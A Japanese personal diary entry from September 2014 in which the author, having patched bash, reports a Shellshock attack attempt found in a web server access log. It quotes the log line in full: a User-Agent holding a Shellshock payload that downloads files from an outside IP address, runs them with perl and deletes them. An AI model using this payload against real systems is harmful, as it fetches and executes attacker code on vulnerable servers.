Tue, 30 Sep 2014 (平成26年) [長年日記]
_ Shellshock
影響範囲がとてつもなく膨大な脆弱性がまた見つかってしまうとは。自分の管理下のサーバはさっさと bash のパッケージをアップデートして安心、のはずなんだけど、web サーバのアクセスログを見ていたら
"GET /cgi-bin/hi HTTP/1.0" 404 372 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"
というログを見つけた。脆弱性のある環境だとここまでやりたい放題できちゃうの ?
それと、bash を使っていることがすぐにわかるものは対策できるけれど、ネットワーク機器などでも影響があるものが存在するはずなのでそういうものの情報にアンテナを張り巡らしておかないといけないのがこれまた面倒。